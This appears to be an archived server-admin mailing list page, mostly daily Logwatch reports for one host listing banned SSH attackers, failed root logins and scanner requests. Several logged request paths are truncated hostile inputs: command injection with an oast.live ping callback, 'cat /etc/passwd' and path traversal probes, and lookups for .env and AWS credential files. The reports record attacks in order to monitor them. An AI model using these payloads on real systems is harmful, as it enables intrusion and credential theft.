x09\xC0\x14\xC0: 1 Time(s) \xC8\x0B\xAEML\xE2\xD3\x22\x0B\xCC\xE8\xAD\xBEu\xCFi: 1 Time(s) \xFA: 1 Time(s) create.roblox.com:443: 1 Time(s) zapf.wiki:443: 1 Time(s) 500 Internal Server Error /: 32 Time(s) /.env: 6 Time(s) /favicon.ico: 5 Time(s) /.git/config: 3 Time(s) /_profiler/phpinfo: 2 Time(s) /robots.txt: 2 Time(s) /%24%7B%28%23_memberAccess%5B%22allowStati ... onChain1.action: 1 Time(s) /.aws/credentials: 1 Time(s) /.gitlab-ci.yml: 1 Time(s) /2TVw3HOlCFKCCAqqwFBNR3ABY3o.php: 1 Time(s) /?XDEBUG_SESSION_START=phpstorm: 1 Time(s) /?action=command&command=set_city_timezone ... o34.oast.live)): 1 Time(s) /CMSPages/Staging/SyncServer.asmx/ProcessS ... izationTaskData: 1 Time(s) /OA_HTML/BneViewerXMLService?bne:uueupload=TRUE: 1 Time(s) /ab2g: 1 Time(s) /ab2h: 1 Time(s) /actuator/env: 1 Time(s) /actuator/gateway/routes: 1 Time(s) /admin/index.php?module=file_editor&file=/ ... ./../etc/passwd: 1 Time(s) /api/userrolelist/systemRoles?require-cfg.js: 1 Time(s) /api/v1/repos/search?limit=1: 1 Time(s) /autodiscover/autodiscover.json?@zdi/Powershell: 1 Time(s) /backend/backend/auth/signin: 1 Time(s) /cf_scripts/scripts/ajax/ckeditor/ckeditor.js: 1 Time(s) /cgi-bin-hax/ExportSettings.sh: 1 Time(s) /cgi-bin/rpc: 1 Time(s) /cgi?2: 1 Time(s) /cgi?7: 1 Time(s) /console/login/LoginForm.jsp: 1 Time(s) /dns-query: 1 Time(s) /ecp/Current/exporttool/microsoft.exchange ... ool.application: 1 Time(s) /geoserver/web/: 1 Time(s) /hybridity/api/sessions: 1 Time(s) /include/exportUser.php?type=3&cla=applica ... swd)%3Eqyhu.txt: 1 Time(s) /include/qyhu.txt: 1 Time(s) /index.php?a=fetch&content=%3C%3Fphp+file_ ... %29%3B%22%29%3B: 1 Time(s) /install/lib/ajaxHandlers/ajaxServerSettin ... %73%77%64%20%23: 1 Time(s) /ispirit/interface/gateway.php: 1 Time(s) /j_security_check: 1 Time(s) /login/index.php?login=$(ping${IFS}-nc${IF ... rxdj.oast.live): 1 Time(s) /openam/oauth2/..;/ccversion/Version: 1 Time(s) /owa/auth/x.js: 1 Time(s) /pentaho/api/userrolelist/systemRoles?require-cfg.js: 1 Time(s) /php/ping.php: 1 Time(s) /plus/flink.php?dopost=save&c=cat%20/etc/passwd: 1 Time(s) /poc.jsp/: 1 Time(s) /poc.jsp?cmd=cat+%2Fetc%2Fpasswd: 1 Time(s) /rest/tinymce/1/macro/preview: 1 Time(s) /restore.php: 1 Time(s) /t4: 1 Time(s) /upload/UploadResourcePic.ashx?ResourceID=8382: 1 Time(s) /wp-content/plugins/wp-file-manager/lib/ph ... tor.minimal.php: 1 Time(s) /wp-json/buddypress/v1/signup: 1 Time(s) /ws/v1/cluster/apps/new-application: 1 Time(s) ---------------------- httpd End ------------------------- --------------------- pam_unix Begin ------------------------ sshd: Authentication Failures: unknown (134.209.30.76): 37 Time(s) unknown (170.64.141.213): 37 Time(s) root (82.180.163.236): 29 Time(s) root (static-84-242-124-74.bb.vodafone.cz): 29 Time(s) root (43.163.207.202): 27 Time(s) root (36.112.135.187): 25 Time(s) root (150.230.235.117): 24 Time(s) root (150.109.149.87): 21 Time(s) root (177.27.216.106): 20 Time(s) root (158.160.38.134): 19 Time(s) root (178.163.240.19): 18 Time(s) root (45.95.147.201): 18 Time(s) root (static-190-181-25-210.acelerate.net): 18 Time(s) root (100.73.199.35.bc.googleusercontent.com): 17 Time(s) root (102.218.10.142): 17 Time(s) root (170.238.160.191): 17 Time(s) root (174.138.24.127): 17 Time(s) root (180.164.240.35.bc.googleusercontent.com): 17 Time(s) root (181.214.223.190): 17 Time(s) root (193.158.129.106): 17 Time(s) root (2-228-25-92.ip189.fastwebnet.it): 17 Time(s) root (200.108.132.134): 17 Time(s) root (200.108.143.6): 17 Time(s) root (43.135.172.127): 17 Time(s) root (43.159.40.48): 17 Time(s) root (68.183.132.72): 17 Time(s) root (114-44-131-199.dynamic-ip.hinet.net): 16 Time(s) root (180.213.3.2): 16 Time(s) root (182.93.50.90): 16 Time(s) root (202.153.37.56): 16 Time(s) root (49.231.241.23): 16 Time(s) unknown (24.199.111.93): 16 Time(s) root (102.14.93.34.bc.googleusercontent.com): 15 Time(s) root (117.232.123.90): 15 Time(s) root (120.238.177.235): 15 Time(s) root (134.209.30.76): 15 Time(s) root (14.143.3.30): 15 Time(s) root (170.64.141.213): 15 Time(s) root (188.166.173.156): 15 Time(s) root (203.172.76.4): 15 Time(s) root (36.156.145.28): 15 Time(s) root (49.248.95.218): 15 Time(s) root (115.166.142.18): 14 Time(s) root (134.17.17.32): 14 Time(s) root (148.63.215.173): 14 Time(s) root (152.70.113.55): 14 Time(s) root (165.232.161.144): 14 Time(s) root (188.121.96.70): 14 Time(s) root (43.131.253.76): 14 Time(s) root (67.205.187.255): 14 Time(s) root (p4fe0648d.dip0.t-ipconnect.de): 14 Time(s) root (134.209.69.41): 13 Time(s) root (165.227.68.95): 13 Time(s) root (24.199.111.93): 13 Time(s) root (43.130.26.49): 13 Time(s) root (128.199.182.19): 12 Time(s) root (144.126.210.70): 12 Time(s) root (157.230.125.144): 12 Time(s) root (157.245.154.129): 12 Time(s) root (162.177.139.34.bc.googleusercontent.com): 12 Time(s) root (167.71.54.30): 12 Time(s) root (178.128.156.114): 12 Time(s) root (181.49.178.6): 12 Time(s) root (185.224.128.142): 12 Time(s) root (185.83.74.97.host.secureserver.net): 12 Time(s) root (186.154.90.114): 12 Time(s) root (187.218.23.85): 12 Time(s) root (187.44.214.58): 12 Time(s) root (189.190.218.32): 12 Time(s) root (190.145.12.233): 12 Time(s) root (192.210.226.176): 12 Time(s) root (209.97.183.120): 12 Time(s) root (43.153.192.102): 12 Time(s) root (43.153.212.177): 12 Time(s) root (43.154.129.174): 12 Time(s) root (43.156.98.81): 12 Time(s) root (46.101.2.4): 12 Time(s) root (hsi-icb-surrey.com): 12 Time(s) unknown (24.199.112.118): 12 Time(s) root (43.159.37.80): 11 Time(s) unknown (134.17.94.181): 11 Time(s) unknown (49.248.16.146): 11 Time(s) root (36-2-237-170.kanagawa.ap.gmo-isp.jp): 10 Time(s) root (185.255.91.41): 9 Time(s) unknown (111.53.87.28): 9 Time(s) unknown (189.182.242.184): 9 Time(s) unknown (134.122.65.9): 8 Time(s) unknown (59-127-158-223.hinet-ip.hinet.net): 8 Time(s) unknown (vps-09dd1441.vps.ovh.net): 8 Time(s) root (103.143.248.52): 7 Time(s) root (103.164.221.210): 7 Time(s) root (154.221.27.121): 7 Time(s) unknown (103.143.248.52): 7 Time(s) unknown (117.141.17.196): 7 Time(s) unknown (141.94.106.15): 7 Time(s) unknown (167.71.238.89): 7 Time(s) unknown (45.80.64.230): 7 Time(s) unknown (mx.portalofertowy24.pl): 7 Time(s) root (101.36.151.78): 6 Time(s) root (117.141.17.196): 6 Time(s) root (121.158.70.160): 6 Time(s) root (121.89.208.200): 6 Time(s) root (167.71.238.89): 6 Time(s) root (186.67.77.26): 6 Time(s) root (20.106.206.86): 6 Time(s) root (65.151.177.127): 6 Time(s) unknown (20.106.206.86): 6 Time(s) unknown (45.95.147.201): 6 Time(s) root (134.17.94.181): 5 Time(s) root (141.94.106.15): 5 Time(s) root (23.95.197.209): 5 Time(s) root (59-127-158-223.hinet-ip.hinet.net): 5 Time(s) root (82-65-173-65.subs.proxad.net): 5 Time(s) root (mx.portalofertowy24.pl): 5 Time(s) unknown (185.255.91.41): 5 Time(s) unknown (82-65-173-65.subs.proxad.net): 5 Time(s) root (193.169.255.233): 4 Time(s) unknown (175.211.139.213): 4 Time(s) root (111.53.87.28): 3 Time(s) root (134.122.65.9): 3 Time(s) root (189.182.242.184): 3 Time(s) root (36.110.228.254): 3 Time(s) root (45.80.64.230): 3 Time(s) root (49.248.16.146): 3 Time(s) unknown (14.34.18.121): 3 Time(s) unknown (143.244.129.88): 3 Time(s) unknown (81.17.22.114): 3 Time(s) unknown (93.95.225.144): 3 Time(s) postgres (mx.portalofertowy24.pl): 2 Time(s) root (194.55.224.48): 2 Time(s) root (221.7.227.90): 2 Time(s) root (24.199.112.118): 2 Time(s) root (vps-09dd1441.vps.ovh.net): 2 Time(s) unknown (254.96.166.178.rev.vodafone.pt): 2 Time(s) unknown (88.248.22.194): 2 Time(s) unknown (c-76-28-20-79.hsd1.ct.comcast.net): 2 Time(s) postgres (134.209.30.76): 1 Time(s) postgres (170.64.141.213): 1 Time(s) postgres (24.199.111.93): 1 Time(s) postgres (vps-09dd1441.vps.ovh.net): 1 Time(s) root (143.244.129.88): 1 Time(s) root (162.214.112.164): 1 Time(s) root (43.134.250.4): 1 Time(s) root (43.154.134.119): 1 Time(s) root (93.95.225.144): 1 Time(s) root (vmi1343886.contaboserver.net): 1 Time(s) unknown (114-44-131-199.dynamic-ip.hinet.net): 1 Time(s) unknown (14.143.3.30): 1 Time(s) unknown (194.55.224.48): 1 Time(s) unknown (43.159.37.80): 1 Time(s) unknown (79.110.48.86): 1 Time(s) Invalid Users: Unknown Account: 269 Time(s) ---------------------- pam_unix End ------------------------- --------------------- Postfix Begin ------------------------ 19.917K Bytes accepted 20,395 19.917K Bytes sent via SMTP 20,395 ======== ================================================== 2 Accepted 100.00% -------- -------------------------------------------------- 2 Total 100.00% ======== ================================================== 5 4xx Reject relay denied 100.00% -------- -------------------------------------------------- 5 Total 4xx Rejects 100.00% ======== ================================================== 313 Connections 73 Connections lost (inbound) 313 Disconnections 2 Removed from queue 2 Sent via SMTP 1 Timeouts (inbound) 1 SMTP dialog errors 3 Hostname verification errors (FCRDNS) ---------------------- Postfix End ------------------------- --------------------- sendmail-largeboxes (large mail spool files) Begin ------------------------ Large Mailbox threshold: 40MB (41943040 bytes) Warning: Large mailbox: mailman.gz (1747199807) Warning: Large mailbox: mailman (235703599967) ---------------------- sendmail-largeboxes (large mail spool files) End ------------------------- --------------------- SSHD Begin ------------------------ Disconnecting after too many authentication failures for user: root : 2 Time(s) Failed logins from: 2.228.25.92 (2-228-25-92.ip189.fastwebnet.it): 17 times 14.143.3.30 (blrfoiwe.in): 15 times 20.106.206.86: 6 times 23.95.197.209 (23-95-197-209-host.colocrossing.com): 5 times 24.199.111.93: 14 times 24.199.112.118: 2 times 34.93.14.102 (102.14.93.34.bc.googleusercontent.com): 15 times 34.139.177.162 (162.177.139.34.bc.googleusercontent.com): 12 times 35.199.73.100 (100.73.199.35.bc.googleusercontent.com): 17 times 35.240.164.180 (180.164.240.35.bc.googleusercontent.com): 17 times 36.2.237.170 (36-2-237-170.kanagawa.ap.gmo-isp.jp): 10 times 36.110.228.254: 3 times 36.112.135.187: 25 times 36.156.145.28: 15 times 43.130.26.49: 13 times 43.131.253.76: 14 times 43.134.250.4: 1 time 43.135.172.127: 17 times 43.153.192.102: 12 times 43.153.212.177: 12 times 43.154.129.174: 12 times 43.154.134.119: 1 time 43.156.98.81: 12 times 43.159.37.80: 11 times 43.159.40.48: 17 times 43.163.207.202: 27 times 45.80.64.230: 3 times 45.95.146.103 (mx.portalofertowy24.pl): 7 times 45.95.147.201 (burgeons.harbormaker.com): 18 times 46.101.2.4: 12 times 49.231.241.23: 16 times 49.248.16.146 (static-146.16.248.49-tataidc.co.in): 3 times 49.248.95.218 (static-218.95.248.49-tataidc.co.in): 15 times 51.75.200.113 (vps-09dd1441.vps.ovh.net): 3 times 59.127.158.223 (59-127-158-223.hinet-ip.hinet.net): 5 times 65.151.177.127: 6 times 67.205.187.255: 14 times 68.183.132.72: 17 times 79.224.100.141 (p4fe0648d.dip0.t-ipconnect.de): 14 times 82.65.173.65 (82-65-173-65.subs.proxad.net): 5 times 82.180.163.236: 29 times 84.242.124.74 (static-84-242-124-74.bb.vodafone.cz): 29 times 93.95.225.144 (vps-93-95-225-144.1984.is): 1 time 97.74.83.185 (185.83.74.97.host.secureserver.net): 12 times 101.36.151.78: 6 times 102.218.10.142: 17 times 103.143.248.52: 7 times 103.164.221.210 (210.221.164.103.net.iforte.net.id): 7 times 111.53.87.28: 3 times 114.44.131.199 (114-44-131-199.dynamic-ip.hinet.net): 16 times 115.166.142.18 (142-166-115-khetanisp.net): 14 times 117.141.17.196: 6 times 117.232.123.90 (rishabh.co.in): 15 times 120.238.177.235: 15 times 121.89.208.200: 6 times 121.158.70.160: 6 times 128.199.182.19: 12 times 134.17.17.32 (32-17-17-134-cloud.mts.by): 14 times 134.17.94.181 (181-94-17-134-cloud.mts.by): 5 times 134.122.65.9: 3 times 134.209.30.76: 16 times 134.209.69.41: 13 times 141.94.106.15: 5 times 143.244.129.88: 1 time 144.91.127.21 (vmi1343886.contaboserver.net): 1 time 144.126.210.70: 12 times 148.63.215.173 (173.215.63.148.rev.vodafone.pt): 14 times 150.109.149.87: 21 times 150.230.235.117: 24 times 152.70.113.55: 14 times 154.221.27.121: 7 times 157.230.125.144: 12 times 157.245.154.129: 12 times 158.160.38.134: 19 times 159.65.55.28 (hsi-icb-surrey.com): 12 times 162.214.112.164 (162-214-112-164.unifiedlayer.com): 1 time 165.227.68.95 (erp.ihcksa-1638619754136-s-1vcpu-2gb-nyc3-01): 13 times 165.232.161.144: 14 times 167.71.54.30: 12 times 167.71.238.89: 6 times 170.64.141.213: 16 times 170.238.160.191: 17 times 174.138.24.127: 17 times 177.27.216.106 (ip-177-27-216-106.user.vivozap.com.br): 20 times 178.128.156.114: 12 times 178.163.240.19: 18 times 180.213.3.2: 16 times 181.49.178.6: 12 times 181.214.223.190: 17 times 182.93.50.90 (n18293z50l90.static.ctmip.net): 16 times 185.224.128.142: 12 times 185.255.91.41 (static.41.91.255.185.clients.irandns.com): 9 times 186.67.77.26: 6 times 186.154.90.114 (britishcouncil.org.co): 12 times 187.44.214.58 (187-44-214-58.STATIC.itsweb.com.br): 12 times 187.218.23.85 (customer-187-218-23-85.uninet-ide.com.mx): 12 times 188.121.96.70: 14 times 188.166.173.156: 15 times 189.182.242.184 (dsl-189-182-242-184-dyn.prod-infinitum.com.mx): 3 times 189.190.218.32 (dsl-189-190-218-32-dyn.prod-infinitum.com.mx): 12 times 190.145.12.233: 12 times 190.181.25.210 (static-190-181-25-210.acelerate.net): 18 times 192.210.226.176 (192-210-226-176-host.colocrossing.com): 12 times 193.158.129.106: 17 times 193.169.255.233: 4 times 194.55.224.48: 2 times 200.108.132.134: 17 times 200.108.143.6: 17 times 202.153.37.56: 16 times 203.172.76.4 (reverse-203-172-76-4.csloxinfo.net): 15 times 209.97.183.120: 12 times 221.7.227.90: 2 times Illegal users from: 2001:470:1:c84::18: 1 time undef: 136 times 14.34.18.121: 3 times 14.143.3.30 (blrfoiwe.in): 1 time 20.106.206.86: 6 times 24.199.111.93: 16 times 24.199.112.118: 12 times 43.159.37.80: 1 time 45.80.64.230: 7 times 45.95.146.103 (mx.portalofertowy24.pl): 7 times 45.95.147.201 (burgeons.harbormaker.com): 6 times 45.129.14.51 (sanchez.explorethebest.com): 1 time 49.248.16.146 (static-146.16.248.49-tataidc.co.in): 11 times 51.75.200.113 (vps-09dd1441.vps.ovh.net): 8 times 59.127.158.223 (59-127-158-223.hinet-ip.hinet.net): 8 times 64.62.197.120 (scan-47n.shadowserver.org): 1 time 76.28.20.79 (c-76-28-20-79.hsd1.ct.comcast.net): 2 times 79.110.48.86: 1 time 81.17.22.114 (hostedby.privatelayer.com): 15 times 82.65.173.65 (82-65-173-65.subs.proxad.net): 5 times 88.248.22.194 (88.248.22.194.static.ttnet.com.tr): 2 times 93.95.225.144 (vps-93-95-225-144.1984.is): 3 times 103.143.248.52: 7 times 111.53.87.28: 9 times 114.44.131.199 (114-44-131-199.dynamic-ip.hinet.net): 1 time 117.141.17.196: 7 times 134.17.94.181 (181-94-17-134-cloud.mts.by): 11 times 134.122.65.9: 8 times 134.209.30.76: 37 times 141.94.106.15: 7 times 143.244.129.88: 3 times 167.71.238.89: 7 times 170.64.141.213: 37 times 175.211.139.213: 5 times 178.166.96.254 (254.96.166.178.rev.vodafone.pt): 2 times 185.255.91.41 (static.41.91.255.185.clients.irandns.com): 5 times 189.182.242.184 (dsl-189-182-242-184-dyn.prod-infinitum.com.mx): 9 times 194.55.224.48: 1 time **Unmatched Entries** userauth_pubkey: unsupported public key algorithm: rsa-sha2-512 [preauth] : 1 time(s) ---------------------- SSHD End ------------------------- --------------------- Disk Space Begin ------------------------ Filesystem Size Used Avail Use% Mounted on /dev/ploop47383p1 394G 243G 132G 65% / none 4.0G 0 4.0G 0% /dev ---------------------- Disk Space End ------------------------- ###################### Logwatch End #########################

2 Jahre, 2 Monate

1
0
0 / 0

Cron <root@h2361197> /srv/sommer17-webseite/update.sh

by root＠zapf.in

fatal: unable to access 'https://github.com/zapf-berlin/sommer17-webseite.git/': Could not resolve host: github.com

2 Jahre, 2 Monate

1
0
0 / 0

studienreformforum@zapf.in post from noreply@point4web.com requires approval

by studienreformforum-owner＠zapf.in

As list administrator, your authorization is requested for the following mailing list posting: List: studienreformforum(a)zapf.in From: noreply(a)point4web.com Subject: Dr. Dhyan Chand The message is being held because: The message is not from a list member At your convenience, visit your dashboard to approve or deny the request.

2 Jahre, 2 Monate

1
0
0 / 0

Logwatch for h2361197.stratoserver.net (Linux)

by root＠zapf.in

################### Logwatch 7.4.0 (03/01/11) #################### Processing Initiated: Fri Aug 4 04:42:03 2023 Date Range Processed: yesterday ( 2023-Aug-03 ) Period is day. Detail Level of Output: 0 Type of Output/Format: mail / text Logfiles for Host: h2361197.stratoserver.net ################################################################## --------------------- fail2ban-messages Begin ------------------------ Banned services with Fail2Ban: Bans:Unbans ssh: [257:251] ---------------------- fail2ban-messages End ------------------------- --------------------- httpd Begin ------------------------ A total of 17 sites probed the server 103.153.77.123 104.248.160.119 107.170.244.25 135.148.13.183 159.203.15.28 161.35.230.183 185.100.87.136 192.241.237.41 198.235.24.252 198.235.24.82 216.218.206.67 45.151.181.196 45.95.169.184 46.101.221.153 5.188.210.227 66.240.205.34 89.248.165.96 Requests with error response codes 400 Bad Request null: 24 Time(s) *: 2 Time(s) /: 2 Time(s) mstshash=Administr: 2 Time(s) /.env: 1 Time(s) /bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${I ... }zyxel.selfrep;: 1 Time(s) /manager/text/list: 1 Time(s) /w00tw00t.at.ISC.SANS.DFind:): 1 Time(s) A@BAE@FAI: 1 Time(s) HTTP/1.0: 1 Time(s) \x00\x00BBBB\xBA\x8C\xC1\xABDAAA: 1 Time(s) \xC0/\xC00\xC0+\xC0,\xCC\xA8\xCC\xA9\xC0\x ... x09\xC0\x14\xC0: 1 Time(s) \xF1)D\x11n\x1CA\x0E\x94y\x1C\x1ATd\xDEo\x ... D\xC0$\xC0(\xC0: 1 Time(s) http://5.188.210.227/echo.php: 1 Time(s) 500 Internal Server Error /: 30 Time(s) /.env: 5 Time(s) /favicon.ico: 4 Time(s) /autodiscover/autodiscover.json?@zdi/Powershell: 2 Time(s) /.git/config: 1 Time(s) /?XDEBUG_SESSION_START=phpstorm: 1 Time(s) /Telerik.Web.UI.WebResource.axd?type=rau: 1 Time(s) /_profiler/phpinfo: 1 Time(s) /actuator/gateway/routes: 1 Time(s) /admin/: 1 Time(s) /autodiscover/autodiscover.json?a..foo.var ... ol=%50owershell: 1 Time(s) /cgi-bin/authLogin.cgi: 1 Time(s) /cgi-bin/config.exp: 1 Time(s) /login: 1 Time(s) /owa/: 1 Time(s) /owa/auth/logon.aspx: 1 Time(s) /owa/auth/x.js: 1 Time(s) /reklam/: 1 Time(s) /remote/login: 1 Time(s) /robots.txt: 1 Time(s) /sitemap.xml: 1 Time(s) /solr/: 1 Time(s) /sugar_version.json: 1 Time(s) /version: 1 Time(s) ---------------------- httpd End ------------------------- --------------------- pam_unix Begin ------------------------ sshd: Authentication Failures: unknown (170.64.141.149): 37 Time(s) root (122.3.192.83): 30 Time(s) root (151.69.161.84): 26 Time(s) root (175.126.176.21): 26 Time(s) root (p57bdd091.dip0.t-ipconnect.de): 25 Time(s) unknown (24.199.112.118): 25 Time(s) root (203.114.102.173): 24 Time(s) root (64.226.76.4): 23 Time(s) unknown (170.64.145.33): 23 Time(s) root (20.228.182.192): 20 Time(s) root (46.101.148.133): 20 Time(s) root (67.205.187.255): 20 Time(s) root (103.52.114.20): 19 Time(s) root (103.179.57.51): 18 Time(s) root (103.231.46.66): 18 Time(s) root (185.231.112.3): 18 Time(s) root (187.62.158.179): 18 Time(s) root (196.29.34.170): 18 Time(s) root (212.145.210.150): 18 Time(s) root (36.138.116.248): 18 Time(s) root (64.227.152.218): 18 Time(s) root (104.131.190.193): 17 Time(s) root (104.131.40.97): 17 Time(s) root (128.199.95.60): 17 Time(s) root (147.182.224.240): 17 Time(s) root (148.0.221.92): 17 Time(s) root (158.160.34.1): 17 Time(s) root (159.192.143.249): 17 Time(s) root (187.44.214.58): 17 Time(s) root (197.5.145.150): 17 Time(s) root (202.4.42.154): 17 Time(s) root (207.154.208.68): 17 Time(s) root (31.220.60.160): 17 Time(s) root (43.128.188.206): 17 Time(s) root (43.153.23.205): 17 Time(s) root (43.159.63.148): 17 Time(s) root (89.208.107.234): 17 Time(s) root (91.205.128.170): 17 Time(s) root (ip82-165-1-72.pbiaas.com): 17 Time(s) root (mail.yegara.org): 17 Time(s) root (103.143.248.101): 16 Time(s) root (103.186.18.10): 16 Time(s) root (103.189.234.25): 16 Time(s) root (103.31.38.183): 16 Time(s) root (104.131.69.237): 16 Time(s) root (106.246.224.154): 16 Time(s) root (128.199.80.214): 16 Time(s) root (14.225.210.201): 16 Time(s) root (167.172.190.219): 16 Time(s) root (178.62.40.68): 16 Time(s) root (185.126.8.102): 16 Time(s) root (192.210.226.176): 16 Time(s) root (195.45.77.78): 16 Time(s) root (197.199.224.52): 16 Time(s) root (210.87.195.112): 16 Time(s) root (221.161.235.166): 16 Time(s) root (43.131.248.141): 16 Time(s) root (62.33.81.160): 16 Time(s) root (91.93.63.184): 16 Time(s) root (94.153.212.68): 16 Time(s) root (94.188.177.110): 16 Time(s) root (softbank060108212174.bbtec.net): 16 Time(s) root (170.64.141.149): 15 Time(s) root (36.92.214.178): 15 Time(s) root (43.156.227.185): 15 Time(s) root (43.156.237.14): 15 Time(s) root (143.198.215.9): 14 Time(s) root (154.56.137.25): 14 Time(s) root (165.227.85.21): 14 Time(s) root (182.93.7.194): 14 Time(s) root (192.160.245.238): 14 Time(s) root (78.187.21.105): 14 Time(s) root (92.255.165.123): 14 Time(s) root (c-76-154-212-220.hsd1.co.comcast.net): 14 Time(s) root (fixed-187-251-135-88.totalplay.net): 14 Time(s) root (r201-217-139-106.ir-static.anteldata.net.uy): 14 Time(s) root (static-csq-cds-031066.business.bouyguestelecom.com): 14 Time(s) root (147.182.171.152): 13 Time(s) root (164.90.224.134): 13 Time(s) root (165.227.84.172): 13 Time(s) root (194.5.159.71): 13 Time(s) root (199.19.225.232): 13 Time(s) root (201-217-217-86-host.ifx.net.co): 13 Time(s) root (202.83.17.160): 13 Time(s) root (204.48.24.27): 13 Time(s) root (24.199.112.118): 13 Time(s) root (64.227.7.1): 13 Time(s) root (94.163.85.34.bc.googleusercontent.com): 13 Time(s) root (107.173.122.150): 12 Time(s) root (121.241.227.91): 12 Time(s) root (128.199.194.183): 12 Time(s) root (137.184.112.37): 12 Time(s) root (154.88.30.29): 12 Time(s) root (159.65.235.114): 12 Time(s) root (165.227.166.247): 12 Time(s) root (17.89.71.34.bc.googleusercontent.com): 12 Time(s) root (175.193.13.3): 12 Time(s) root (179.50.16.249): 12 Time(s) root (185.224.128.142): 12 Time(s) root (188.166.58.179): 12 Time(s) root (191.98.191.69): 12 Time(s) root (192.241.156.50): 12 Time(s) root (20.229.13.167): 12 Time(s) root (202.153.37.56): 12 Time(s) root (212.192.11.20): 12 Time(s) root (23.95.197.209): 12 Time(s) root (244.160.209.35.bc.googleusercontent.com): 12 Time(s) root (36.91.166.34): 12 Time(s) root (38.108.68.159): 12 Time(s) root (43.134.100.206): 12 Time(s) root (43.134.250.4): 12 Time(s) root (43.153.184.188): 12 Time(s) root (43.154.92.166): 12 Time(s) root (43.156.70.63): 12 Time(s) root (43.159.132.112): 12 Time(s) root (45.152.113.68): 12 Time(s) root (74.124.207.50): 12 Time(s) root (8.213.19.224): 12 Time(s) root (82.200.197.100.adsl.online.kz): 12 Time(s) root (85.208.253.115): 12 Time(s) root (86.127.251.199): 12 Time(s) root (s79.gtokyofl5.vectant.ne.jp): 12 Time(s) root (170.64.145.33): 11 Time(s) root (221.7.227.90): 10 Time(s) root (150.109.149.87): 9 Time(s) root (154.221.27.121): 9 Time(s) root (186.154.90.114): 9 Time(s) root (36-2-237-170.kanagawa.ap.gmo-isp.jp): 9 Time(s) root (45.129.14.51): 7 Time(s) root (103.158.57.10): 6 Time(s) root (103.164.221.210): 6 Time(s) root (103.90.66.3): 6 Time(s) root (43.154.151.93): 6 Time(s) root (58.144.251.23): 6 Time(s) root (mx.portalofertowy24.pl): 6 Time(s) unknown (103.158.57.10): 5 Time(s) unknown (mx.portalofertowy24.pl): 5 Time(s) root (101.36.151.78): 4 Time(s) root (118.36.69.40): 4 Time(s) root (193.169.255.233): 4 Time(s) unknown (93.95.225.144): 4 Time(s) unknown (ip38.ip-57-128-11.eu): 4 Time(s) root (93.95.225.144): 3 Time(s) unknown (178.128.214.3): 3 Time(s) unknown (194.55.224.48): 3 Time(s) unknown (45.168.176.34): 3 Time(s) unknown (46.19.138.210): 3 Time(s) unknown (81.17.22.114): 3 Time(s) www-data (170.64.145.33): 3 Time(s) postgres (mx.portalofertowy24.pl): 2 Time(s) unknown (116.127.166.195): 2 Time(s) unknown (c-76-28-20-79.hsd1.ct.comcast.net): 2 Time(s) postgres (170.64.141.149): 1 Time(s) postgres (170.64.145.33): 1 Time(s) postgres (24.199.112.118): 1 Time(s) root (143.64.34.225): 1 Time(s) root (194.55.224.48): 1 Time(s) root (a40.sub24.net78.udm.net): 1 Time(s) sys (170.64.145.33): 1 Time(s) unknown (119.192.8.27): 1 Time(s) unknown (121.148.143.194): 1 Time(s) unknown (79.110.48.83): 1 Time(s) unknown (79.110.48.86): 1 Time(s) Invalid Users: Unknown Account: 141 Time(s) ---------------------- pam_unix End ------------------------- --------------------- Postfix Begin ------------------------ 14.132K Bytes accepted 14,471 14.132K Bytes sent via SMTP 14,471 ======== ================================================== 1 Accepted 100.00% -------- -------------------------------------------------- 1 Total 100.00% ======== ================================================== 5 4xx Reject relay denied 100.00% -------- -------------------------------------------------- 5 Total 4xx Rejects 100.00% ======== ================================================== 295 Connections 74 Connections lost (inbound) 295 Disconnections 1 Removed from queue 1 Sent via SMTP 2 SMTP dialog errors 3 Hostname verification errors (FCRDNS) ---------------------- Postfix End ------------------------- --------------------- sendmail-largeboxes (large mail spool files) Begin ------------------------ Large Mailbox threshold: 40MB (41943040 bytes) Warning: Large mailbox: mailman.gz (1747199807) Warning: Large mailbox: mailman (235703599967) ---------------------- sendmail-largeboxes (large mail spool files) End ------------------------- --------------------- SSHD Begin ------------------------ Failed logins from: 8.213.19.224: 12 times 14.225.210.201 (static.vnpt.vn): 16 times 20.228.182.192: 20 times 20.229.13.167: 12 times 23.95.197.209 (23-95-197-209-host.colocrossing.com): 12 times 24.199.112.118: 14 times 31.220.60.160 (ffejwfi.com): 17 times 34.71.89.17 (17.89.71.34.bc.googleusercontent.com): 12 times 34.85.163.94 (94.163.85.34.bc.googleusercontent.com): 13 times 35.209.160.244 (244.160.209.35.bc.googleusercontent.com): 12 times 36.2.237.170 (36-2-237-170.kanagawa.ap.gmo-isp.jp): 9 times 36.91.166.34: 12 times 36.92.214.178: 15 times 36.138.116.248: 18 times 38.108.68.159: 12 times 43.128.188.206: 17 times 43.131.248.141: 16 times 43.134.100.206: 12 times 43.134.250.4: 12 times 43.153.23.205: 17 times 43.153.184.188: 12 times 43.154.92.166: 12 times 43.154.151.93: 6 times 43.156.70.63: 12 times 43.156.227.185: 15 times 43.156.237.14: 15 times 43.159.63.148: 17 times 43.159.132.112: 12 times 45.95.146.103 (mx.portalofertowy24.pl): 8 times 45.129.14.51 (sanchez.explorethebest.com): 7 times 45.152.113.68: 12 times 46.101.148.133: 20 times 58.144.251.23: 6 times 60.108.212.174 (softbank060108212174.bbtec.net): 16 times 62.33.81.160: 16 times 64.226.76.4: 23 times 64.227.7.1: 13 times 64.227.152.218: 18 times 67.205.187.255: 20 times 74.124.207.50: 12 times 76.154.212.220 (c-76-154-212-220.hsd1.co.comcast.net): 14 times 78.85.24.40 (a40.sub24.net78.udm.net): 1 time 78.187.21.105 (78.187.21.105.dynamic.ttnet.com.tr): 14 times 82.165.1.72 (ip82-165-1-72.pbiaas.com): 17 times 82.200.197.100 (82.200.197.100.adsl.online.kz): 12 times 85.208.253.115 (static.115.253.208.85.clients.irandns.com): 12 times 86.127.251.199 (86-127-251-199.digimobil.es): 12 times 87.189.208.145 (p57bdd091.dip0.t-ipconnect.de): 25 times 89.208.107.234 (vivid-volcano.aeza.network): 17 times 91.93.63.184 (host-91-93-63-184.reverse.superonline.net): 16 times 91.205.128.170: 17 times 92.255.165.123 (92x255x165x123.static-customer.tmn.ertelecom.ru): 14 times 93.95.225.144 (vps-93-95-225-144.1984.is): 3 times 94.153.212.68 (94-153-212-68.ip.kyivstar.net): 16 times 94.188.177.110 (177.188.94-binat-smaug.in-addr.arpa): 16 times 101.36.151.78: 4 times 103.31.38.183 (ip183.38.31.103.in-addr.arpa.unknwn.cloudhost.asia): 16 times 103.52.114.20 